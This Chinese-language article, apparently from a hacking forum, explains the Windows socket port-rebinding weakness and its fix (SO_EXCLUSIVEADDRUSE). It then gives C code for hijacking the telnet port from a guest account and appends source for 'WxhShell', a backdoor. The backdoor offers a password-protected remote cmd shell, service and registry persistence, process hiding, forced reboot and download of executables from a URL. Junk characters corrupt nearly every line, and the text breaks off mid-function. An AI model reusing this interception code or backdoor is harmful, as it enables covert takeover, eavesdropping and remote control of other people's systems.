在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@.W; 3|~qc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
[;z\bV<S vdq=F|& saddr.sin_family = AF_INET;
uslu-|b!% "@nH;Xlq saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4?+K
` -"I$$C bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
jhm3:;Z c#N4XsG, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lr>NG,N f(|k0$EIu 这意味着什么?意味着可以进行如下的攻击:
d&NnpjH}c :VT%d{Vp_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9!_,A d;3 !XtG6ON= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
r1r$y2v~ .]vb\NBK7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3}H{4]*%_ ytIPY7E 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
oVpZR$ d{7ZO#E 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"] V\ Y! A2 +% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
M~2Us{ ` kg^0 %-F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h vYRAQR: H
d|p@$I #include
0zH-g #include
R2Tt6 #include
^!\1q<@n #include
F$as#.7FF DWORD WINAPI ClientThread(LPVOID lpParam);
X
hq ss), int main()
MI`qzC*% {
w6V/Xp][U WORD wVersionRequested;
nc;eNB DWORD ret;
C1D:Xi- WSADATA wsaData;
y47N(;vy BOOL val;
rexf#W) SOCKADDR_IN saddr;
_Xd"'cXw SOCKADDR_IN scaddr;
unFRfec{ int err;
%/Wk+r9uu SOCKET s;
s:tX3X SOCKET sc;
qk<jvha int caddsize;
+c~&o83[ HANDLE mt;
]:gW+6w"C DWORD tid;
x:FZEyalG wVersionRequested = MAKEWORD( 2, 2 );
9w=7A>.U err = WSAStartup( wVersionRequested, &wsaData );
XjN4EDi+E if ( err != 0 ) {
B"_O! printf("error!WSAStartup failed!\n");
b-<0\@`Z# return -1;
v?VDASR2` }
%'iJVFF saddr.sin_family = AF_INET;
V5K/)\# 0>od1/` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kGV:=h MrR`jXz saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
i3w~&y- saddr.sin_port = htons(23);
gQPw+0w if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v.(dOIrX {
I<#X#_YP printf("error!socket failed!\n");
d=vuy
return -1;
G<7M;vRvP }
2f[;U" val = TRUE;
r84^/+"T //SO_REUSEADDR选项就是可以实现端口重绑定的
D}?p>e|<D if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
60~;UBm5O {
~,}|~ printf("error!setsockopt failed!\n");
lbAhP+B return -1;
Vc9rc} }
lOt7ij(,L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
e-rlk5k%f //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J%CCUl2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g!XC5*} lKsn6c,] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)$!b`u {
5_;-Qw ret=GetLastError();
$Lp [i
<O] printf("error!bind failed!\n");
WutPy_L< return -1;
u!K1K3T6k }
hS,&Nj+ listen(s,2);
xF[%R{Mn' while(1)
mXz*Gi {
$9`#p/V caddsize = sizeof(scaddr);
uHKEt[PS$ //接受连接请求
OyO]; Yk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
T`E0_ZU; if(sc!=INVALID_SOCKET)
+4:eb)e {
e#*3X4<\K mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
BEOPZ[Q|c if(mt==NULL)
hWy@?r. {
qnp}#BZ printf("Thread Creat Failed!\n");
7FE36Ub9 break;
tKV, }
"J"=<_? }
8._uwA<[ CloseHandle(mt);
IAQ<|3Q }
a^%)6E.[, closesocket(s);
p3A9<g WSACleanup();
+0&^.N return 0;
]VjvG}; }
`E$vWZq} DWORD WINAPI ClientThread(LPVOID lpParam)
dx@dnWRT, {
q}Q G<%VR SOCKET ss = (SOCKET)lpParam;
G!Brt&_' SOCKET sc;
G=zNZ unsigned char buf[4096];
OInl?_,,T# SOCKADDR_IN saddr;
(p5q MP]L long num;
t$$YiO DWORD val;
yP{ 52%|+ DWORD ret;
!Aj}sh{ //如果是隐藏端口应用的话,可以在此处加一些判断
vxZ'-&;t //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
_RaE:) saddr.sin_family = AF_INET;
32z4G =l saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~P'.R.e saddr.sin_port = htons(23);
y^C5_w(^jZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h^ Cm\V {
D3C 7f' printf("error!socket failed!\n");
hP)Zm%@0f return -1;
'V?FeWp }
9qftMDLZJ\ val = 100;
9295:Y| w1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
DC h
!Z{I {
c]uieig0~ ret = GetLastError();
X<,QSTP return -1;
}[akj8U }
'JOCL0FP if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\8xSfe {
-yf8 ret = GetLastError();
"B{3q`( return -1;
Onq^|r's& }
Ikdj?"+O if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Z+v,o1 {
gk|>E[. printf("error!socket connect failed!\n");
m8L *LB closesocket(sc);
KM;H '~PZi closesocket(ss);
A^,E~Z!x return -1;
Pdf-2
Tx }
~LuGfPO^ while(1)
&\9%;k {
.z gh,#= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)7
Mss/2T //如果是嗅探内容的话,可以再此处进行内容分析和记录
HS<Jp44 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
><}nZ7 num = recv(ss,buf,4096,0);
7Vy_Cec1 if(num>0)
+E</A:|}S send(sc,buf,num,0);
x[58C + else if(num==0)
;y,g%uqE break;
3/+kjY/ num = recv(sc,buf,4096,0);
U\P4ts if(num>0)
K80f_iT5 send(ss,buf,num,0);
,,uhEoH else if(num==0)
*,z/q6 break;
!CU-5bpu }
DU\ytD`u closesocket(ss);
KyNu8s k closesocket(sc);
p9)YRLOh. return 0 ;
Q/SO%E`E }
'd~(=6J J:Fq i p Q2 !GWz$ ==========================================================
f5*qlQJFz\ 6-|?ya
下边附上一个代码,,WXhSHELL
ms0V1` _]zX W ==========================================================
tM]Gu?6 3JGrJ!x #include "stdafx.h"
2OJlE)
. v;\cM/&5 #include <stdio.h>
W On<;'}M& #include <string.h>
C$[iduS #include <windows.h>
$0 .6No_| #include <winsock2.h>
`D(V_WZ #include <winsvc.h>
\ UrD%;sq #include <urlmon.h>
DP),~8 X:UlL"G #pragma comment (lib, "Ws2_32.lib")
&9flNoNR9 #pragma comment (lib, "urlmon.lib")
P*!`AWn JH\:9B+:L #define MAX_USER 100 // 最大客户端连接数
IVPN=jg? #define BUF_SOCK 200 // sock buffer
\(pwHNSafk #define KEY_BUFF 255 // 输入 buffer
>
'=QBW ![%wM Pp #define REBOOT 0 // 重启
c[ZrQJ #define SHUTDOWN 1 // 关机
{Phq39g 2VY7?1Ab(@ #define DEF_PORT 5000 // 监听端口
:4zu. v's1&%sM #define REG_LEN 16 // 注册表键长度
D;P=\i>9- #define SVC_LEN 80 // NT服务名长度
/''=V.-N f!kZyD7 // 从dll定义API
)l`Ks typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4m<]qw typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
skl3/! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
vSHPN|* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
JlnmG<WLT a[nSUlT& // wxhshell配置信息
F:m6Mf7L struct WSCFG {
=;-C;gn:w int ws_port; // 监听端口
=Smd/'`_ char ws_passstr[REG_LEN]; // 口令
{j$2=0Cec int ws_autoins; // 安装标记, 1=yes 0=no
S%MDQTM char ws_regname[REG_LEN]; // 注册表键名
HVus\s\&y% char ws_svcname[REG_LEN]; // 服务名
ZRf9 'UwS char ws_svcdisp[SVC_LEN]; // 服务显示名
u~OlJ1V char ws_svcdesc[SVC_LEN]; // 服务描述信息
T!,5dt8L char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,;t:x|{% int ws_downexe; // 下载执行标记, 1=yes 0=no
_]*YSeh= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
JxinfWk
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
B}TY+@ i6HRG\9nU };
a"-uJn `"65 _?B i // default Wxhshell configuration
`:=1*7)? struct WSCFG wscfg={DEF_PORT,
ht%qjE "xuhuanlingzhe",
w=XIpWl 1,
/V*SI!C<f "Wxhshell",
F%
n}vA` "Wxhshell",
(W
h)Ov" "WxhShell Service",
{Lal5E4- "Wrsky Windows CmdShell Service",
?w(hPUd!2 "Please Input Your Password: ",
`n>|rd 1,
\'Ca1[y@B "
http://www.wrsky.com/wxhshell.exe",
HK :K~h "Wxhshell.exe"
lPR^~&/ };
;-`NT`
#2 SY5}Bu# // 消息定义模块
@K!JE w\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
pG"wQ char *msg_ws_prompt="\n\r? for help\n\r#>";
7V5c`:" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
eHvUgDt char *msg_ws_ext="\n\rExit.";
d2eXN3" char *msg_ws_end="\n\rQuit.";
>0@w"aKn char *msg_ws_boot="\n\rReboot...";
;)h?P.] char *msg_ws_poff="\n\rShutdown...";
CtMqE+j^ char *msg_ws_down="\n\rSave to ";
:oy2mi; {xg=Ym) char *msg_ws_err="\n\rErr!";
*KNfPh#wi} char *msg_ws_ok="\n\rOK!";
/%;J1{O BeFyx"NBg char ExeFile[MAX_PATH];
D4c'6WGb@ int nUser = 0;
8a*&,W HANDLE handles[MAX_USER];
1av#u:jy~> int OsIsNt;
*jhgCm }6^5mhsL SERVICE_STATUS serviceStatus;
L E\rc A SERVICE_STATUS_HANDLE hServiceStatusHandle;
y ]t19G+ JRC2+BU
/ // 函数声明
|?J57( int Install(void);
*DIY;)K int Uninstall(void);
*=oO3c0|b, int DownloadFile(char *sURL, SOCKET wsh);
+-qk\sQ int Boot(int flag);
oo;<I_#07 void HideProc(void);
\bT0\
(Js\ int GetOsVer(void);
atpHv**D<i int Wxhshell(SOCKET wsl);
wL~A L void TalkWithClient(void *cs);
Mlc_w19C9 int CmdShell(SOCKET sock);
HTQTDbhV^ int StartFromService(void);
FiMM-c| int StartWxhshell(LPSTR lpCmdLine);
_LZ(HTX~ l|
uiC%T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Rw
`ezC# VOID WINAPI NTServiceHandler( DWORD fdwControl );
Wi=zu[[qc mTsyVji8 // 数据结构和表定义
[_%u5sc-y SERVICE_TABLE_ENTRY DispatchTable[] =
X~&8^? {
$yi:0t8t {wscfg.ws_svcname, NTServiceMain},
! 7V>gWhR {NULL, NULL}
H_@6!R2 };
Eb~vNdPo *g*"bi* // 自我安装
pNd`fV#jX int Install(void)
h._eP.W ` {
!2Ompcr1 char svExeFile[MAX_PATH];
mC@v," HKEY key;
<xSh13< strcpy(svExeFile,ExeFile);
&-FG}|*4M =c\(]xX // 如果是win9x系统,修改注册表设为自启动
7~J>Ga if(!OsIsNt) {
%J-:%i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"7EK{6&jQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
64mh. j RegCloseKey(key);
7*{l\^ism; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R"XycXn_$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[*O>Lk RegCloseKey(key);
muXP5MO return 0;
6p
}a! }
@_"cMU! }
nGWy4rY2S }
F(.`@OO else {
dH5*% hN K wQ // 如果是NT以上系统,安装为系统服务
<gi~:%T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
3.Mpd if (schSCManager!=0)
s@$0!8sxm {
LhKbZoPp SC_HANDLE schService = CreateService
q !9;JrX (
SrNc schSCManager,
yCR8 c,'8 wscfg.ws_svcname,
VDOC> wscfg.ws_svcdisp,
,j>FCj> SERVICE_ALL_ACCESS,
@7"n X SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
p>pN?53S SERVICE_AUTO_START,
'*XIp: SERVICE_ERROR_NORMAL,
I}u\ov_Su svExeFile,
v/xlb&Xx NULL,
9mk@\Gqqm NULL,
Q?T+^J NULL,
DqY"N] NULL,
E4o{Z+C NULL
8F<|.V; );
zjA#8;h~w if (schService!=0)
e8f7*S8 {
DjaXJ?' CloseServiceHandle(schService);
pjS##pgVq CloseServiceHandle(schSCManager);
n;.
M5}O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Q3& ?28 strcat(svExeFile,wscfg.ws_svcname);
/,uxj5_cT if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
CvRCcSJM\2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|qguLab( RegCloseKey(key);
O7IYg; return 0;
g&$5!ifgi }
KsTGae;ds }
5N>f lQ CloseServiceHandle(schSCManager);
\C~6
' }
72RTEGy }
nm`(;<W %JPr 7 } return 1;
hj"JmF$m }
rD$5]%Y kuBtPZ // 自我卸载
IAkQR0fcN
int Uninstall(void)
0TV16-- {
&k| EG![ HKEY key;
`qd5+~c m Qx1co if(!OsIsNt) {
.<%q9Jy# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jtfC3E,U RegDeleteValue(key,wscfg.ws_regname);
^m D$# RegCloseKey(key);
xe6V7Wi/Tt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
KXx;~HtO RegDeleteValue(key,wscfg.ws_regname);
uL7}JQ, RegCloseKey(key);
gA_oJW4_ return 0;
-">Tvi4 }
n%\\1 }
K!(WcoA&2i }
Fv,c8f else {
E$ 8-8[ + W1l9n* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
dk1q9Tx if (schSCManager!=0)
nTsV>lQY, {
WxD$k3U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`0W"[BY if (schService!=0)
ER-Xd9R {
":T"Y;
if(DeleteService(schService)!=0) {
HQ=pf > CloseServiceHandle(schService);
ZTqt 4H CloseServiceHandle(schSCManager);
$l.8 return 0;
;W+1 H ! }
:#sBNy CloseServiceHandle(schService);
<l,e6K }
c|m?f CloseServiceHandle(schSCManager);
B^/Cx }
0Z((cI\J }
.
P44t G M;uwL# return 1;
d72( g$F }
R.*
k7-(; g&B7Y|Es // 从指定url下载文件
vm*9xs int DownloadFile(char *sURL, SOCKET wsh)
h$~$a;2cR {
P*Jk 8MK#G HRESULT hr;
.ozBa778u char seps[]= "/";
2y$DTMu char *token;
uU$/4{ char *file;
](-[
I# char myURL[MAX_PATH];
v{lDEF@2^N char myFILE[MAX_PATH];
nx`W!|g$` lr)MySsu#H strcpy(myURL,sURL);
Cu$`-b^y token=strtok(myURL,seps);
jMR9E@>~E while(token!=NULL)
>4>.
Ycp {
[KO\!u|?YS file=token;
FDFVhcr token=strtok(NULL,seps);
e6jdSn }
23;\l eon(C|S7eK GetCurrentDirectory(MAX_PATH,myFILE);
1Ogtzf strcat(myFILE, "\\");
h9c7P@29 strcat(myFILE, file);
tx3p,
X send(wsh,myFILE,strlen(myFILE),0);
;F, 6]LH! send(wsh,"...",3,0);
-jTK3&5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_mQ~[}y+? if(hr==S_OK)
k
;vOPcw return 0;
bDw\;bnG else
b1e)w?n return 1;
z} VCiS0 B%[#["Ol }
+C`vO5\0 { iLr$89 // 系统电源模块
\FO
4A int Boot(int flag)
}?GeU
Xhy {
jP3 ~O HANDLE hToken;
n
n8N 9w TOKEN_PRIVILEGES tkp;
'i/"D8 nM$-L.dG if(OsIsNt) {
{;UBW7{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
OH+2)X LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ac4dIW{$3 tkp.PrivilegeCount = 1;
NlG!_D"(y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aI\>=*HF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Q6X}R,KA1 if(flag==REBOOT) {
.$x822
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<&M5#:u return 0;
[z}$G:s }
99q$>nx,w else {
,n5 [Y) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&19z|Id return 0;
ON_GD" }
kA 4kQ}q }
'_=XfTF else {
!Nhq)i if(flag==REBOOT) {
'aZAWY d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
97!VH>MX return 0;
BS3BJwf;
f }
T:j!a{_| else {
ybm&g( -\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
n lvDMZ return 0;
TU8K\;l] }
Zf\It<zT5 }
a)L=+Z f7]C1!] return 1;
f%d
=X>_ }
#Bn7Cc %}Ob~m>P // win9x进程隐藏模块
l>>,~ void HideProc(void)
@2$iFZq~ {
U./1OZ& %eqL)pC] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}5;3c % if ( hKernel != NULL )
J&b&*3
{
Zf`ddT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
j~9,Ct ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0.t1p(x; FreeLibrary(hKernel);
+@oo8io }
x(88Y7o.t 7\;gd4Ua1 return;
?K?v64[ }
h@?BA<'S ?jBh=X\]: // 获取操作系统版本
! XNTk]! int GetOsVer(void)
@)wNINvD {
=gr3a,2 OSVERSIONINFO winfo;
n1)m(,{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
}NJ? .Y GetVersionEx(&winfo);
~dqEUu!C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_9zydtw return 1;
G@n%P~ else
ViT$]Nv return 0;
VlFDMw.4.+ }
e_pyjaY!s Bx&wS|-) D // 客户端句柄模块
$lrq*Nf9c int Wxhshell(SOCKET wsl)
HPR*:t {
'roZ:NE SOCKET wsh;
x-{awP struct sockaddr_in client;
*[_>d.i DWORD myID;
AU
+2' s8N\cOd#i while(nUser<MAX_USER)
#(NkbJ5ka {
BK:S: int nSize=sizeof(client);
m)9qO7P wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
68LB745 if(wsh==INVALID_SOCKET) return 1;
\TBY)_[ { "&/&v handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
I806I@ix if(handles[nUser]==0)
a<X<hxW: closesocket(wsh);
^^Tu/YC9x else
pb5'5X+ nUser++;
Dy@f21+ }
*m sW4|=^2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
D ~Y3\KP q
y8=4~40 return 0;
Ge;plD-f }
U= PG0 .sDVBT'% // 关闭 socket
9f4#b8 void CloseIt(SOCKET wsh)
~?{"H< {
B/CP/Pfb closesocket(wsh);
;2;Kq)j_= nUser--;
^*]0quu=z ExitThread(0);
:bgi*pR{ }
WV"{oED 8V(#S:G35 // 客户端请求句柄
29#;;n}p void TalkWithClient(void *cs)
ewtoAru {
@GGPw9a ,Mwj`fgh SOCKET wsh=(SOCKET)cs;
|EaEdA@T char pwd[SVC_LEN];
=e,2/Ep{i char cmd[KEY_BUFF];
m+Yj"RMx& char chr[1];
G =+ sW int i,j;
~WJEH# jibrSz while (nUser < MAX_USER) {
^8nK x<&5 ,wlh0;, if(wscfg.ws_passstr) {
q*<Df=+B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t$Z#zxX //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!f\y3p*j //ZeroMemory(pwd,KEY_BUFF);
E0}jEl/{ i=0;
bd2"k;H<o while(i<SVC_LEN) {
g<Sa{<0 .;n<k // 设置超时
T%xB|^lf fd_set FdRead;
zRJopcE< struct timeval TimeOut;
:R<n{%~ FD_ZERO(&FdRead);
yl%F}kBR FD_SET(wsh,&FdRead);
56m|gZcC TimeOut.tv_sec=8;
$vdGkz@6 TimeOut.tv_usec=0;
@"H+QVJ@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
P~:W+!@5v if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ht S5<+Y m(8t |~S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@fbB3 pwd
=chr[0]; % ;2x.
if(chr[0]==0xd || chr[0]==0xa) { Nze#u;
pwd=0; {q"l|Oe
break; E#T-2^nD
} ?zN v7Bj
i++; (+ 9_nAgZ,
} lV^sVN Z]
xgt dmv%
// 如果是非法用户,关闭 socket 8_ns^6XK5p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 52>?l C
} kG+CT
%9=^#e+pE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Au"[2cG
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x1$tS#lS
+aV>$Y
while(1) { Ajhrsa\~a
M*E4:A9_M
ZeroMemory(cmd,KEY_BUFF); 8lt P)K4
2|#3rF
// 自动支持客户端 telnet标准 ue$\i =jw
j=0; .Lp0_R@
while(j<KEY_BUFF) { a$FELlMv
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H.Z:at5n
cmd[j]=chr[0]; 56AaviE C
if(chr[0]==0xa || chr[0]==0xd) { ab'
f:
cmd[j]=0; ;/SM^&Y
break; K,^{|5'3q
} h8O[xca/~
j++; @B~/0
9
} LC\Ys\/,U
|9!3{3
// 下载文件 <Dt,FWWkv'
if(strstr(cmd,"http://")) { s0.yPA
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hi9 ;i/
if(DownloadFile(cmd,wsh)) RIM"MR9qe=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |]]Xee]
else Zi2NgVF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C 9,p-
} vu YH+
else { u/cL[_Q
^&DHBx"J
switch(cmd[0]) { %n9}P ,
?
*#frbV?;
// 帮助 S0g5Ym
ia
case '?': { Ps.O.2Z5ZB
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uyxU>yHV<g
break; >u~ [{(d ,
} >&aFSL,f
// 安装 rGRxofi.
case 'i': { IX^k<Jqr
if(Install()) Jnm{i|6N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f
7et
else 7^Jszd:c08
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Y~ ,s
break; =6q?XOM
} 9 YU7R)
// 卸载 7
4aap2^
case 'r': { $[[6N0}*:
if(Uninstall()) or~o'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B.K"1o
else VE6T&fz`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yK0Q,
break; #v')iR"
} {`KgyCW:
// 显示 wxhshell 所在路径 pR&cdORsP
case 'p': { 3.Qf^p
char svExeFile[MAX_PATH]; ~7b'4\
strcpy(svExeFile,"\n\r"); s+tS4E?
strcat(svExeFile,ExeFile); C%"h1zWE:
send(wsh,svExeFile,strlen(svExeFile),0); o~gduNG#
break; rr*",a"}m
} @| %t<{y^I
// 重启 naXo <B
case 'b': { ay'=M`uO_
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [={pFq`
if(Boot(REBOOT)) (OYR, [*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6k42>e*p
else { Q{H88g^=J
closesocket(wsh); \h :Rw|
ExitThread(0); X`:(-3T
} xp1
+C{
break; *WfOB2rU
} +yS"pOT
// 关机 q uv`~qn
case 'd': { e&7GW9FSg
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~VUNN[
if(Boot(SHUTDOWN)) PFG):i-?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,,Da|edH
else { o]MQ)\r
closesocket(wsh); }%y_LcL
ExitThread(0); xh@H@Q\
} ?9v!UT
break; y*\ M7}](
} h^~eTi;c]Q
// 获取shell ~0|~Fg
case 's': { L`x:Y>C(
CmdShell(wsh); _"a(vfl#
closesocket(wsh); \@['V
ExitThread(0); rd0BvQ9TK
break; aAu
upPu
} p4W->AVv$
// 退出 OWB^24Z&3
case 'x': { *0l^/jqn:
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); . ~G>vVb
CloseIt(wsh); T
{(6*^g<B
break; C?bPdJ,6
} d~S.PRg=
// 离开 -CT?JB
case 'q': { o,D>7|h
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?_m;~>C
closesocket(wsh); 0OEyJ|g
WSACleanup(); )`-9WCd&
exit(1); A7+eWg{
break; r&1N8o
} e@Z(z^V
} AvEJX0"\df
} JF%+T yMe
^%#v
AS
// 提示信息 O jE wJ$$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !z(POK
} bW3e*O$V
} Bu>srX9f
)f(#Fn
return; -:a
9'dT
} iIcO_ZyA
@ L% 3}
// shell模块句柄
Cg}cD.
int CmdShell(SOCKET sock) 8cfxKUS
{ uzho>p[ae
STARTUPINFO si; H `),PY2
ZeroMemory(&si,sizeof(si)); +X
cB 5S>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _
97F
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l]T|QhiVd
PROCESS_INFORMATION ProcessInfo; ZaH<\`=%
char cmdline[]="cmd"; qK.8^{b
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H:,rNaz7D^
return 0; bzk@6jR1
} 2Ev~[Hb.
lY.FmF}k
// 自身启动模式 %Ni)^
int StartFromService(void) d@7
]=P:
{ WkXa%OZ
typedef struct 2P!Pbl<
{ s7(mNpo
DWORD ExitStatus; f/*Xw {s#
DWORD PebBaseAddress; _D$|lk-
DWORD AffinityMask; Ga.a"\F.V
DWORD BasePriority; }4#%0x`w
ULONG UniqueProcessId; 1W$ @ V!
